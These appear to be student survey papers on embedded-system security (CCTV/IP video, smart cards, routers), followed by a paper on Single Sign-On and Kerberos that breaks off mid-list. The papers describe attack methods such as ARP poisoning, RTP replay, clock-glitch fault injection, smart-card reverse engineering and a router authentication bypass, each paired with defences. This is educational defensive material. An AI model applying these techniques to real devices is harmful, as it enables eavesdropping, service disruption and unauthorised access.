A variety of tools and methodologies exist to help us do so. We 

found that while no method is perfect, by selecting and 

implementing a number of measures that fit the developers’ 

situation well, painless and effective protection can be attained. 
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ABSTRACT
This paper aims to provide a study into the different secu-
rity requirements for embedded systems. As the functions
and capabilities of embedded systems are inherently differ-
ent from personal computers, the security challenges that
these systems face are unique and fundamentally distinct as
well. We will be looking into three different embedded sys-
tems in this paper and the scope of discussion will include
some of the common attacks these systems face as well as
the counter measures for said attacks.

1. INTRODUCTION
An embedded system is an amalgamation of computer hard-
ware, software, and in some occasions, additional mechanical
parts, designed to perform a dedicated function or range of
functions, often with real time computing constraints[14].
Embedded systems are often part of a larger system and
product. In order to gain a better insight as to what an em-
bedded system is, it is helpful to compare it with a personal
computer. Embedded systems differ from personal comput-
ers as they are not made or designed to be programmed
by the end user in the same way a personal computer is.
Consider a personal computer, we can use it to type reports
and documents with Microsoft Word and yet we are also
able to watch videos and movies with it by using a differ-
ent software[6]. Contrary to this, a user is unable to alter
the functionalities of an embedded system simply by adding
or changing its software. Embedded systems are virtually
ubiquitous, existing in many devices that we use and are
deeply ingrained into our everyday life. As many of these
electronic systems such as satellites, closed circuit televi-
sions (CCTV), network routers, personal digital assistants
(PDA), and smart cards need to manipulate, communicate,
access, or store sensitive information, their security is of a
major concern. As mentioned earlier, embedded systems
often face real time computing constraints such as limited
processing capabilities, memory, or battery life. Therefore,
the security of an embedded system has to account for these
limitations and these limitations give rise to several chal-

lenges unique to embedded systems. Firstly, the computa-
tional and processing capabilities of processors in both high
and low end embedded systems can be easily overwhelmed
by the number of computations that has to be performed
in a system for security purposes. This challenge is further
exacerbated by efficiency requirements that most embedded
systems face. Secondly, for embedded systems that are pow-
ered by batteries, energy usage can also be a problem due to
increasing energy requirements for secure computations and
operations. In this paper, we will be discussing about the
importance of security in some high end and low end em-
bedded systems, their different security requirements, the
challenges involved in making them secure, as well as recent
steps taken to address these challenges.

2. VIDEO SURVEILLANCE SYSTEMS
(CCTV/IP VIDEO)

Closed-circuit Television (CCTV) is a system that uses video
camera to transmit signals to a specific location, i.e. the
signals are not publicly distributed.

IP video surveillance system[15] is a increasingly growing
branch in the CCTV system used in recent years. It is a
move from analog-based systems to the IP-based systems.
Videos in H.264/MJPEG1 formats are transmitted over LANs
with the use of IP, and the videos are accessible conveniently
anytime, anywhere. It is also more cost advantageous when
the video surveillance system goes beyond that of small de-
ployments, and are operationally and technologically more
advantageous.

2.1 Roles of Video Surveillance Systems
Video surveillance systems are used mainly for security and
surveillance purposes, and are increasingly used for law en-
forcement and crime deterrence. On the other hand, the
increased use of CCTV technology has also generated con-
cerns in the public eye that it infringes on the privacy of the
common public.

The purpose for use of video surveillance differs depending
on scale of requirements and systems. Small deployments
are often for home security or small scale businesses, mainly
for simple usage of monitoring movements in a perimeter and
used as deterrence against break-ins. For large enterprises

1H.264 and MPEG are both high resolution video formats,
but H.264 is more commonly used due to lower bandwidth
and storage consumption (up to 80% lower)
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Figure 1: ARP Poisoning bypassing GARP Disabled

however, the system required is more extensive and intricate,
in addition to detecting potential threats and intruders, are
also used for measuring, monitoring and restricting access
to a certain areas.

2.2 Motivations Behind Attacks
Just as video surveillance systems are used to enforce law
and deter crime, motivations behind attacks on these sys-
tems are exactly to tackle and bypass such restrictions.

Attacks on video surveillance systems are mainly for one or
more of the following purposes

(a) Video eavesdropping; to attack the system and gain
access to the video, with no other purpose than to
eavesdrop and in some cases to record the video footage.

(b) Video hijack/interception; a denial of service attack
in which a uni-directional Real-Time Transport Pro-
tocol (RTP) stream or specific video endpoints in the
middle of a Session Initiation Protocol (SIP)2/Signaling
Connection Control Part (SCCP)3 video call is tar-
geted. The attacker can choose to cut off video service
or replay a video clip.

2.3 Common Attack Techniques
2.3.1 Address Resolution Protocol Poisoning [19]

The basis of a successful Man-in-the-Middle (MitM) condi-
tion is a successful ARP Poisoning. The purpose of ARP is
to convert an IP address to its corresponding physical ad-
dress. ARP poisoning can be done by sending gratuitous
ARP (GARP4) reply packets. GARP reply is the sending of
reply packets without any requests made. The reply packet

2SIP is a signaling communications protocol used for con-
trolling multimedia communications sessions
3SCCP is a routing protocol used for delivering packets be-
tween stations in a telephony network
4GARP announce the presence of a device on a network.
Attackers can use GARP to spoof the presence of a valid
network device

will contain the attacker’s MAC address and convince the
network that the attacker is a valid network device. In sit-
uations whereby GARP is disabled, UCSniff demonstrates
how to bypass this restriction in Figure 1. It floods the
IP Phone with unicast spoofed ARP reply packets so that
when the IP Phone sends an ARP request, it will receive
the spoofed unicast reply packet before the legitimate reply
packet as its ARP cache is already flooded with the spoofed
reply packets.

This form of attack allows the attacker to receive bi-directional
RTP media if the attacker is in the same Virtual Local Area
Network (VLAN) as the two IP Phones.

A direct resultant of this is video eavesdropping. After ARP
is poisoned, the attacker dynamically adds an RTP dissector
when the call starts, and closes the RTP dissector when the
call ends.

2.3.2 Denial of Service
The attacker first finds a valid H.264 RTP stream, which is
easily done by intercepting the signaling that negotiates the
RTP port and other codec parameters. The attacker then
proceeds to select a 1-way video stream and start attack
by dropping valid RTP packets. After selecting an AVI or
H.264 raw file to be used for replay, a H.264 RTP packet con-
taining the original RTP stream’s Synchronization Source
Identifier(SSRC)5, payload type, incremented sequence and
timestamp values, and spoofed source IP and User Data-
gram Protocol (UDP)6 port of valid video sender will be
constructed and dropped. Attacker then targets the specific
video device and sends the video file to the destination RTP
port (see Figure 2 ).

2.3.3 Signal Hijack [10]
Wireless equipment operates over a range of different fre-
quencies. To hijack the signal a wireless CCTV system

5SSRC identifies source used to timestamp RTP packets
6UDP is a communications protocol and uses IP to get data-
gram from one computer to another
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Figure 2: An example of how VideoJak performs DoS attack

would require a physical modification of the two physically
connected points in which information flows between them.
Therefore, the interception device has to be attached to one
of the devices or in the cable that connects the devices. The
interception device has to be of the same frequency as that
which the other devices operate on. This causes a deviation
in the signal and allows the attacker to override the original
signal.

Two types of signal hijack

• Suppressing the original signal with a more powerful
transmitter. This methods works because the receptor
is unable to distinguish the original signal from the
fake signal, which makes it easy to intercept.

• Capture the original signal before it reaches the stream,
replace it with a fake signal and send it to the recep-
tor. In order to achieve this, a playback system with
a transmission device and antenna stronger than that
of the wireless system is required.

2.4 Protecting the video surveillance system
Many weaknesses of an embedded system do not lie so much
in the system itself than it is the practices of the users.
According to Sipera’s research [7], only 1 in 20 organizations
secure their IP communications with encryption or other
measures. Encryption especially is vital to video protection
because once the video is encrypted, the attacker could still
ARP poison and MitM but would not be able to decrypt
the RTP packets, and thus render the attack useless. ARP
poisoning can also be defended against with configuration
via Ethernet switches.

Other than security practices, there are also products avail-
able in the industry that enhances protections.

2.4.1 UC-Sec by Sipera [9]
Notable aspects of this line of security appliances is that it
offers

• End-to-end TLS/SRTP encryption of both sig-
naling and media to ensure that traffic from video end-
points are private

• Access control and 2-factor authentication to en-
sure data integrity and user restrictions

2.4.2 Intelligent Video Analytic Software by Aven-
tura [5]

Built-in security threat detections on CCTVs can minimize
the risk of physical tampering done to the system.

• Loitering detection tracks people loitering about
who might tamper with physical security equipment

• Camera tampering and failure detection to tackle
physical attacks on the camera to remove security cov-
erage

2.5 Constraints
Despite the aforementioned solutions, there are challenges
to their implementation.

1. Cost
Systems of higher technology come with a higher mon-
etary cost, and in some cases depending on require-
ments, external resources and services have to be brought
in to ensure an all-rounded protection. However, the
cost is sometimes not justifiable and a balance.

2. Skilled manpower
It takes time and money to train operators to under-
stand and troubleshoot system outages and disrup-
tions, and to restore functionality of system.

3. Insider threat
Insider threat is elusive and hard to defend against.
It can be combatted with physical security systems
by limiting access to high-priority areas and creating
logs of personnel access for auditing with the use of
network videos, but this will in turn incur extra costs
which brings us back to the first issue - cost.
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3. SMART CARDS
There exist a wide range of contact and contactless smart
cards currently in the market. Smart cards have a chip em-
bedded in them, which can be programmed. They can store
over 100 times more information than a magnetic stripe and
they can be reprogrammed to manipulate the data. Some
smart cards contain both a microprocessor as well as mem-
ory. The microprocessor allows the card to perform crypto-
graphic processing and other multiple functions.

Contact smart cards display one of a variety of chip needs
to come into physical contact with the reader. There are
numerous types and configurations available in the indus-
try. Contactless smart cards utilize various radio frequency
identification RFID technologies to write and read. RFID
tags are usually cheap and can be read over greater dis-
tances and that have no or minimal security. An external
encoding or programming device were usually used to en-
code or program the smart cards. However these days, con-
tactless smart card encoders integrated into the card printer
are becoming increasingly available. The way a contactless
smart card works is that current induced on antenna by
reader powers the chip in the card. Communication from
the reader to the chip causes dedicated circuits in the chip
to be charged and power to be consumed. The reader then
detects this fluctuation of current. [1]

3.1 Roles of Smart Card
Just in the year of 2012, it is estimated that 95 billion smart
cards are shipped. Smart cards serve as a very good medium
for carrying password-protected personal data. Personal in-
formation such as secret crypto keys can be stored on a card
in a way that is only accessible to the card carrier. Fur-
thermore, card carriers can decide with whom to share data
and with whom to transact business and use their cards only
with those vendors they choose to trust.

Smart cards are not just for personal use but also for enter-
prise. Smart cards can secure access to buildings, enterprise
networks, and applications. It authenticates employees dig-
itally and physically in an enterprise. Smart cards can host
digital certificates, user pin and One Time Password (OTP)
and OTP secret key. It is also able to compute encryption
or sign cryptography.

3.2 Types of Smart Card Attacks
There are 3 basic categories types of attacks that the smart
card could be susceptible to. One of them is invasive where
physical de-packaging is done, causing the chip to be often
destroyed. Reading microprobes are used to get direct mem-
ory access. It is usually expensive to carry out these kinds
of attacks. The next category is semi invasive where the
chip usually is still usable or working. Optical fault induc-
tion is used where illumination of target transistor causes
it conduct, thereby inducing a transient fault. Such attacks
are practical and do not even require expensive laser equip-
ment. The last one is non- invasive, which may be just
passive observation. The chip is not affected in any way.
Using equipment to implement timing and power analysis,
logical application programming interface (API) attacks can
be carried out. The length of the operation depends on pro-
cessed data and using a power trace we can determine when
an instruction is executed frequently. Attacks can also be

divided to logical versus physical and passive versus active.
[20, 16, 22] The section below covers how a glitch attack and
reverse engineering works.

3.2.1 Glitch Attack
A glitch attack is considered a fault injection. A processor is
essentially a set of a few hundred flip-flops (registers, latches,
and SRAM cells) that define its current state and changes
to its next state during every clock cycle. In a glitch attack,
abnormal environmental conditions are used to generate a
malfunction, which means that one or more flip-flops are
in the wrong state. The attack usually tries to remove a
single critical machine instruction and put another one in
replacement. A glitch attack is to corrupt data values as
they are transferred between registers and memory.

Conditional jumps or the test instructions preceding them
are those that are more important and interesting for an
attacker to replace. To bypass sophisticated cryptographic
barriers the attacker just has to prevent the execution of the
code that detects that an authentication attempt was unsuc-
cessful. By doing that, they create a window of vulnerability
in the processing stages of many security applications. In-
struction glitches can also be used to extend or reduce the
runtime of loop.

Clock-signal glitches are currently the simplest and most
practical ones. By increasing the clock frequency for one or
more half cycles can cause some flip flops to sample their
input before the new state has reached them. They can be
circumvented by carefully selecting the duty cycles of the
clock signal during the glitch. When the clock-frequency
sensor is perfectly secure under normal operating voltage,
it ignores clock glitches if they coincide with a carefully de-
signed power fluctuation. Clock and power waveform com-
binations for common processors can be identified using the
appropriate equipment. Attacker can reliably increment the
program counter by one without changing any other pro-
cessor state. This means that the attacker can execute an
arbitrary subsequence of the instructions found in the card.
This leaves very little chances for the program designer to
carry effective countermeasures in software. [17]

3.2.2 Reverse Engineering
In the reverse engineering attack, an attacker obtains the
circuit design information by analyzing the layout regularity
of each logic gate. The reverse engineering is misused to
reveal the circuit structure of the device and figure out its
functionality.

During reverse engineering, all the layers arranged during
fabrication process are removed one-by-one in reverse or-
der and a photograph of the pattern layout is taken. The
attacker can then re-construct the circuit by putting the
pattern layout in each layer on each other. The attacker
analyzes all layers including silicon, gate poly, active, and
well regions and identify the components in the chip. Most
vendors and part numbers are printed on the component.
Surface mount or small devices use abbreviation code, which
can be found online. Usually manufacturer desire full vis-
ibility into the system/circuit state so that it helps rework
or repair. However, this quickens the process for attackers
when they analyze and figure out the chip. Most memory is
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insecure since they are not designed with security in mind
and most remnants may exist and be retrievable from de-
vices long after power is removed. Once the firmware or
data is retrieved, one can reverse engineer using standard
software techniques. The attacker can disassemble, modify,
recompile and reprogram the smart card. This method is
very time consuming and expensive. [13]

3.2.3 Other Forms of Attacks
The forms of attack include side channeling, which uses
equipment to read signal and retrieve secret. The chan-
nels include time, power consumption, Electro-Magnetic ra-
diation, light emission and sound. There are also software
attacks like introducing type confusion or buffer overflow.

3.3 Protecting the Smart Card
This section aims to cover the general principles for protect-
ing the smart card to ensure the confidentiality and integrity
of the data.

1. A unique secret key is built into the smart card, which
applies industry standard encryption technology to set
up a unique card verification value, authentication code
or cryptogram that accurately determine each transac-
tion. All key are unique hence there are no cards that
share an identical key. The key is never transferred
from card to card thus preventing any attacker from
manipulate data with the key.

2. When the issuers of the card check that the payment
activity has a credible card verification value, cryp-
togram or authentication code before allowing the trans-
action. At the system level the issuers have the capa-
bility of detecting and rejecting any attempt to use the
same transaction information twice.

3. To ensure confidentiality of the information, the pro-
cessing of payments does not need the cardholder name.
Not including the cardholderâĂŹs name or private in-
formation in the contactless chip is a good practice.
This will prevent attackers to gain additional knowl-
edge that are not absolutely necessary during the trans-
action.

4. The last security measure is control. Cardholders have
the authority when it comes to the transaction and the
card. They do have the right not to give either the
card or their account information to anyone like the
clerk during a contactless transaction. In this way, its
restrict people from trying to steal information and do
harm with it.[2]

There are some more technical methods that can be im-
plemented in the software to prevent hacking or reduce the
effects of it. It can be done by decreasing leakage and in-
creasing noise. Hiding can partially or totally remove rela-
tion between value being processed and its power consump-
tion. One should implement a masked version of the cryp-
tographic algorithm. Masking or blinding can break the
relation between the algorithmic value and processed value.
Change to a use key material only for a limited amount of op-
erations and use short-lived keys based on a hash of an initial

key for a certain session only. This will limits the amount
of time that the attacker has to figure out the key. Data
cache will exhibit data-dependent timing variations when
the memory accesses the cache. Different operations have
varied execution time depending on the inputs. Thus, one
should remove any execution time dependence on data and
key and conditional execution that depends on the key. This
will prevent attacker from working backwards to the input.
One could randomly insert instruction that has no effect on
the algorithm. Using a range of different instructions will
make it difficult to recognize in a trace. Shuffling the or-
der of independent operations like S-box (substitution-box
calculations) per round will reduce correlation with a factor
equal to the number of shuffled operations.[12]

On the physical layer, some techniques like obfuscation and
camouflaging could be implemented. Obfuscation mask or
hide the functionality and the overall design by inserting
additional gates. Camouflaging is a layout-level technique,
which hinder image processing-based extraction of a gate-
level netlist from an integrated circuit.[21]

3.4 Real World Examples
Sergei Skorobogatov and Christopher Woods, researchers
from Cambridge University Computing Laboratory and Quo
Vadis Labs, discovered major flaws in Actel/Microsemi 3rd
generation Flash field programmable gate array (FPGA)/
system of a chip(SOC) including SmartFusion, Fusion, Igloo,
and ProASIC3. They are an example of a failure in ensur-
ing the security of chips that are used in smartcard. There
were two official security keys- advanced encryption stan-
dard (AES) and FlashLock Passcode (passkey). Aside from
the two keys, there was an undocumented backdoor key that
can be used to access any undocumented security features
inside. With only some restrictions, the AES key could help
in extracting the embedded Intellectual Property (IP).

The backdoor key opens up readback of the configuration
bitstream and other features. The AES key can be extracted
with Differential Power Analysis (DPA) attacks within min-
utes and with Pipeline Emission Analysis (PEA) in less than
a second. While, the Passcode key could take years to ob-
tain with DPA attack methods, PEA can obtain it within
hours.

They used power analysis to find the backdoor in the pro-
prietary Joint Test Action Group (JTAG) interface of ProA-
SIC3 chip and they used their own PEA technique to under-
stand its functionality. There was a backdoor that allowed
readback of all design features. A special key was required in
order to gain access to the backdoor and other features. This
key had very excellent DPA protection and it had one of the
best silicon-level protections they have seen. Nevertheless
with their new PEA technique, they managed to extract the
key in a day. They discovered that the key is the same in
all ProASIC3, Igloo, Fusion, and SmartFusion FPGAs. The
customers were allowed to program their chosen passcode
to increase the security. However, Actel/Microsemi did not
tell its customers that a special fuse must be programmed in
order to get the backdoor protected with both the passcode
and backdoor keys. Furthermore, the passcode key can be
extracted with a PEA technique that is open to the pub-
lic. That meant that given physical access to the device an
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Figure 3: An example of how a router is used

attacker could extract all the embedded IP.[23]

4. NETWORK ROUTERS
Routers are essentially small physical devices that join mul-
tiple networks together by forwarding data packets between
them. They gel together the many different networks of the
global Internet and create an illusion of a unified whole.

In many routers today, it consists of a routing table or
routing policy, which reads the addess information in the
packet it receives in order to determine it’s ultimate destina-
tion. They take up the role of ”traffic directors”on the Inter-
net. When a router sends out a data packet, it is typically
forwarded from one router to another through the networks
that constitute the internetwork before reaching its destina-
tion node which was determined by the routing table or
routing policy.

Besides directing the packets, routers may also be respon-
sible for filtering of traffic, allowing some data packets to
pass through whereas rejecting some others. Filtering is
an important concept in security, especially in the case of
routers. By filtering data packets, it allows the routers to
protect computers and or other network components from
illegitimate or hostile traffic.

4.1 Roles of Routers in Modern Networks
Today, routers can be found at every level in the Internet.
For instance, in many homes and small businesses, routers in
access networks allow them to connect to an Internet Service
Provider (ISP). In large corporations or enterprises, routers
usually link several thousands of computers. Last but not
least, there are backbone7 routers which link the ISPs and
enterprise networks together and are usually not directly
accessible.

Shown in Figure 3 is how a wireless router can be used in
any office or home scenario. The wireless router manages
the packets it sends or receives from the wireless or wired
computers from its surroundings.

4.2 Motivations for Secure Routers [18]
7Backbone routers usually forward traffic between different
enterprises

Given how routers are used extensively in almost every en-
vironment, it is important to note the security concerns
which are attached to them. Compromising of routers could
lead to several security problems on the network served by
the router, or any other networks that are connected to it.
Listed below are several problems which could result from a
poorly configured router as well as concerns attached to it.

• As mentioned earlier, routers consists of route tables.
Should they be compromised, it could result in the risk
of denial of network communication services, or
result in the leakage of sensitive information

• Compromising of the router’s access control could re-
sult in revealing network configuration details or
result in denial of service. It could also increase the
risk of attacks against the other network com-
ponents that are serviced by router

• A good router would have filtering systems to protect
secure information. Without good filtering configura-
tion, it will reduce the overall security of an entire
enclave and make it susceptible to scans and at-
tacks. Attackers could also avoid detection more
easily.

• With proper security features, such as a good use of
router cryptographic security features, it would
greatly help in protecting sensitive data, ensure data
integrity and help facilitate secure cooperation between
independent enclaves.

Well-configured secure routers would help to improve the
overall security of a network and this is very much impor-
tant for huge enterprises that rely on a system of networks.
However, most end users are often negligent to such secu-
rity practices and end up compromising the security of the
network.

There are many different security resources available from
router vendors. For instance, Cisco provides a configuration
guide to maximise the security of the router that one would
purchase.

4.3 Types of Router Attacks [24]
This section aims to cover the different vulnerabilities of
routers and as well as the different types of attacks that it
could be susceptible to. Such attacks are not restricted to
home users and could affect an entire organisation’s network
as well.

4.3.1 Distributed Denial of Service Attack
A denial of service attack is an attempt to disrupt and make
a machine or network resource unavailable to its intended
users. The difference between a denial of service attack
(DoS) and a distributed denial of service attack(DDoS) is
that DoS is caused by a host on a network, whereas a DDoS
is caused by a group of people over networks together.

Listed below are some of the DDoS that can happen on a
router:
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Figure 4: An example of how a Man-In-The-Middle attack could take place with routers.

1. Smurf attack: An attacker carries this out by send-
ing large numbers of Internet Control Message Proto-
col (ICMP) packets with the intended victim’s spoofed
source IP to a computer network using an IP Broad-
case address. As a result, the victim gets flooded with
ICMP echo reply packets, and thus, leaving him unable
to process important stuff.

2. Address Resolution Protocol (ARP) poisoning:
An attacker will continuously look for ARP request
packets in the network. Upon finding a request packet,
it quickly forms a packet with wrong MAC address and
sends it as a reply. As a result, there will be a wrong
mapping in the ARP table which is then called the
ARP poisoning. The actual MAC will then be denied
of any further services.

3. Ping of Death: A typical ping message is 56 bytes in
size, or 84 bytes when considering the Internet Proto-
col (IP) header is considered. An attacker then forms a
packet which contains more than 65 536 bytes, defying
the standard 65 535 bytes. As a result, when the ocm-
puter attemps to reassemble the packet, it could lead
to a buffer overflow which will then lead to a system
crash.

4.3.2 Man in the Middle Attack (MiTM)
An attacker carries this out by intercepting the data flow-
ing from a source to a destination. One example of such
an attack would be Router Advertisement Spoofing. An at-
tacker sends spoofed Router Advertisements inside a subnet,
which leads to all IPv6 nodes changing their routing ta-
bles and storing the attackers as one of the default routers.
Should the victim send traffic to the Internet, this new de-
fault router will be used. As a result, the attacker can fully
see all outgoing traffic and he could also modify them if he
desires. This could lead to a compromise of sensitive infor-
mation as well as the authencity of the traffic. An example
is shown in Figure 4.

4.3.3 Hit-and-Run Attacks [11]
Also known as a ”test attack”, an attacker carries this out by
injecting malicious packets into the router and tests if the
network is online and functioning. Upon finding that if is
working, the attacker then proceeds to send more malicious
packets to further harm the router. Depending on what is
injected into the router, the attacker can cause the router
to carry out unusual activities that could compromise secu-
rity. Without proper security measures taken, such attacks

are hard to identify and could cause severe damage to the
router’s work.

4.4 Security Principles and Goals [18]
Routers play an important role in securing networks. How-
ever, before it can do so, the router has to be protected as
well. As such, this section aims to cover the general prin-
ciples for protecting the router, as well as the methods in
protecting the network with the router.

A planar model would be a good conceptual view of how a
router operates (see Figure 5 ). There are three planes in
this conceptual view:

• Management Plane: This plane is responsible for
administration, configuration and generally the persis-
tent state of the router.

• Control Plane: This plane is responsible for moni-
toring, route table updates and generally the dynamic
operation of the router.

• Data Plane: This plane is responsible for the packets
transiting the router among the networks it serves.

To ensure that the router is secure, possible threats to each
plane must be considered and dealt with. Interferences with
router operations or unauthorized access to the router are
threats pertaining to the management and control planes
whereas violation of network security for the networks that
the router supports pertains to the data plane.

4.4.1 Protecting the Router
There are 3 main areas to consider when protecting the
router.

1. Physical Security: The router should be free of any
electrostatic or magnetic interference. To protect it
from and DoS attacks, and to allow it to support the
widest range of security services, it should be config-
ured with the maximum amount of memory possible.
Last but not least, it should be placed in a locked room
accessible only to authorized personnel8 and anything
used to connect to the router should have some form
of storage protection.

8This is especially important for large corporations or or-
ganisations. In the case of household routers, it should not
be placed in a location where someone from the outside can
interact with it.
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Figure 5: A Three-Plane Conceptual Model for a Router

2. Operating System: The version of the OS depends
on the features of the network. However, as the latest
version of any OS tends not to be the most reliable, the
latest stable release of the OS that meets the feature
requirements for the network should be used instead.

3. Configuration Hardening: Just like a computer,
many services of the router are enabled by default.
Some of such services are unnecessary and could be
an exploited by an attacker. Such services should be
disabled in the router configuration.

4.4.2 Protecting the Network with the Router
There are several ways routers are employed in modern net-
work and in most cases, they are usually configured with a
firewall. However, that is not enough. There are 2 areas to
consider when protecting the network with the router.

1. Mitigating Denial of Service Attacks: There is
no definite solution to DoS attacks. However, there
are measures that can be taken to protect and lessen
the effects of a DoS attack. At an enterprise level,
there are three primary strategies.

(a) Prevent malicious traffic from entering the com-
mon network via the enterprise network.

(b) Configure and deploy local protective measures at
border9 and interior10 routers.

(c) Work with network access providers to plan pro-
tective measures against distributed DoS attacks.

There are mechanisms available on routers that help
to prevent certain types of DoS attacks. For exam-
ple, an access control list could act as a filter to filter

9Border routers are routers that forward traffic between an
enterprise and exterior networks

10Interior routers forward traffic between two or more local
networks within an organization or enterprise

out spoofed source addresses. DoS attacks could also
be defended against by rejecting packets with invalid
source addresses when they arrive at a border router.

2. Packet Filters for TCP/IP: Packet filters control
the data transfer between networks based on addresses
and protocols. It is important for routers that act as in
intermediary between trusted and untrusted network
as it can enforce security policy, rejecting protocols
and restricting protocols depending on the policy of
the trusted network. It can also enforce addressing
constraints.

4.5 Constraints
Despite having the aforementioned security measures, there
are still many security related incidents taking place. This
section aims to cover the constraints in implementing the
aforementioned security measures at households or enter-
prise levels.

4.5.1 Lack of Knowledge
Households are usually more vulnerable. The reason could
be accrued to the lack of knowledge when it comes to router
installation. Families generally look for routers that are
cheap and can be installed easily. However, when installing
the router, many of them do not know the recommended
security configurations an as such, cause the router to be
vulnerable to external threats.

4.5.2 Cost vs Efficiency
Many enterprises value cost over efficiency. Installation and
maintenance of router security could amount to huge costs
yearly. As such, there might be enterprises that completely
disregard such security practices and opt to implement a
facade of security measures. Their routers could then be
exposed to any attackers who are willing to put the effort in
hacking their router systems.
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4.6 Real World Example: D-Link Router Flaw
[3, 4, 8]

Various D-Link routers allow administrative web actions if
the HTTP request contains a specific User-Agent string.
This allows an attacker to bypass password authentication
and access the router’s administrative web interface by con-
figuring the browsers’ User Agent string11. This string is
relatively easy to find in the firmware of all the affected
routers.

Remote management from the outside is blocked on D-Link
routers by default, which limits the exploitability of this vul-
nerability. However, if the device owner or anyone that has
access to the router network has enabled the ’Remote Man-
agement’ feature on the effected device, or malicious attacker
has found a way to enable this feature, this exploit can allow
remote attackers to bypass authentication and modify set-
tings. Should an affected device be exploited, the user runs
the risk of attacks such as a stack-based buffer overflow.

D-Link had since updated security patches on the affected
D-Link routers to address the security vulnerabilities.

5. CONCLUSIONS
The use of embedded systems is pervasive and they are
deeply ingrained and integrated into our modern lifestyle.
As such, there is a wide range of embedded systems that
can be discussed for this paper.

We have chosen to base our case study on three embedded
systems, namely closed circuit television, smart cards, and
network routers for this paper so as to widen the scope of our
discussion to include the varying levels of security required
by different embedded systems. By showing the motivations
behind attacks on the three different embedded systems and
the common type of attacks they face, we hope to illustrate
the potential risks involved when the security of these in-
dividual systems are compromised and that the measures
required to secure each system can vary greatly.

Finally, as with any other system, the increased security of
these embedded systems requires a tradeoff in either its cost
or efficiency. As mentioned earlier, as embedded systems
often face real time computing restrictions such as limited
memory space, process capabilities, or battery life, it is ex-
tremely important for an embedded system designer to strike
a balance between keeping a system secure and affordable
under these constraints.
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ABSTRACT
In this digital age, the number of accounts a typical user have is
increasing and this leads to higher chances of forgetting the
password and credentials to these account. This is unnecessarily
frustrating and can be avoided. In this paper, we discuss the
techniques of SSO (Single Sign-On) to allow these users to sign
on once and be authenticated automatically multiple times across
different applications.

The paper begin by introducing what problems SSO helps to
solve. In the later part, the paper explains 3 techniques of SSO,
mainly Kerberos, OpenID and SAML (Security Assertion Markup
Language). Following each introduction and explanation, the
paper explores the strengths and weaknesses of each SSO
techniques.

Categories and Subject Descriptors
K.6.5 [Management of Computing and Information Systems]:
Security and Protection – authentication

General Terms
Security

Keywords
Single Sign-On, SSO, Kerberos, OpenID, SAML

1. INTRODUCTION
SSO (Single Sign-On) is used to solve problems related to
multiple credentials for various applications. For the users, SSO
improves user experience by allowing the user to use a single
credential, which means remembering only 1 password. Users
also saves time as they no longer need to retype passwords to sign
on. For the administrators, SSO simplifies the management of
users as changes in user rights can be propagated to various
applications quickly.

In this paper, 3 SSO techniques are explained and its strength and
weaknesses are discussed. The 3 SSO techniques introduced are
Kerberos, OpenID and SAML (Security Assertion Markup
Language).

2. KERBEROS
2.1 What is Kerberos?
Kerberos, an open authentication protocol, provides methods of
proving a user’s identity to a remote service. It is based on Tickets

to allow nodes to communicate in a computer network securely. It
is built on symmetric key cryptography and uses a trusted third-
party in the network, similar to a Certificate Authority in
cryptographic protocols.

2.2 History of Kerberos
Kerberos is an authentication protocol that is named after a
ferocious three-headed guard dog of Hades from Greek
mythology (or Cerberus). The three heads of the creature
represents the three important roles in this system which will be
explain in section 13.3.

It was first designed and developed in MIT (Massachusetts
Institute of Technology) and was only published in the 1980s.

2.3 Platforms
Kerberos Version 5 is used in all versions of Microsoft Windows
2000 and later and it is the preferred authentication method to
ensure high level of security to network resources. It involves
joining a domain or an Active Directory and this is where
Kerberos comes into play.

Many other UNIX or Mac OS do include Kerberos authentication
protocols for authentication of users and services but may not be
set as default as compared to Kerberos on Microsoft Windows
2000 and later. 1.1

In Windows NT and 2000 work group environments, the
authentication technology for enterprises is defaulted to Kerberos.

2.4 How does Kerberos Work?
In Kerberos, there are 3 major roles when it comes to
authentication:

1) Key Distribution Center (KDC)
2) User/Client
3) Server

In Kerberos, the most important role of the design is the Key
Distribution Center (KDC). It is also known as the Authentication
Service (AS). It acts as the trusted third party that will be able to
verify user’s identity and choose to either allow or reject
permission to execute their requests.

In addition to this, Kerberos depends on some network services
for it to work correctly. It requires the clock on all the computers
in the network to be synchronized first. Therefore a
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synchronization program needs to be set up in the network before
it becomes feasible.

Figure 1. Overview of Kerberos Authentication

2.5 Protocol
Whenever a Client wishes to access a Service in the Active
Directory, he needs to obtain a Ticket from the KDC in order to
prove that he is really who he is. This is known as pre-
authentication.

2.6 User to Authentication Server
The first step is for the client to request for a Ticket-Granting-
Ticket from the AS residing on the KDC which is usually on the
domain controller in the enterprise’s network. This is done by
sending a message containing the user’s identity in plaintext and
other informations.

Because the KDC has all the hash of user passwords in the Active
Directory, the AS is able to use the hash of the client’s password
to generate a secret key. The AS issues a Ticket-Granting-Service
session key and encrypts it with the hashed password of the client
and sends it back. If the user is who he say he is, he will be able to
decrypt the message with his own password.

The AS also sends another message which will contain the user’s
information as well as the session key. All these will be encrypted
using the service’s password and can only be decrypted by the
service which the user wish to access. This is known as the Ticket.

2.7 User to Service
After retrieving the two messages from the AS, the user is able to
decrypt the first message using his own password to obtain the
session key. He then needs to encrypt information such as current
time along with other informations using the session key that he
decrypted from the first message. This newly encrypted message
is also known as the Authenticator.

The client then sends this, together with the second message that
he is unable to decrypt, to the service. The service will be able to
decrypt the Ticket that the client sent using its own password and
in that message will contain the session key. Next, the service can
use the session key to decrypt the Authenticator and obtain
informations such as the time the message was sent. It then
compares the time in the message and current system time to
verify that the Ticket is still valid.

Because the session key is only made known to the KDC, service
and user, the service is able to validate that the user is indeed
legitimate without further verifications.

2.8 Why it Works?
This authentication method works because if an imposter or
attacker tries to do a replay attack by sending the Tickets they
captured again, they are unable to change the timestamp that is
included in the message encrypted by the session key. The service
is able to detect the timestamp in the message and will know that
it is actually not from a legitimate user.

On the other hand, if the imposter uses the Authenticator message
instead, the time in the Authenticator will not match the current
system time in the service and thus, access will be denied.

2.9 Security Analysis of Kerberos
2.9.1 Strengths
Using Kerberos in an Active Directory as the authentication
method has the following advantages:

1) It is faster compared to other authentication methods.
Kerberos reuses session tickets in its unique ticketing system
from cache which by default will expire in 10 hours. This
means there will be little communication with the KDC once
the identification of the user is done.

2) It has mutual authentication. This means that you can
verify it and it can verify you. The big difference from
Kerberos and NTLM (NT LAN Manager) is that Kerberos
supports this mutual authentication and NTLM does not.
Instead, NTLM used ‘challenge and response’ to for the
service to authenticate the client, but does not authenticate
the service to the client. This means that the client may be
communicating with a fake server and providing sensitive
information to a fraudulent server.

3) It is immune to impersonations and supports
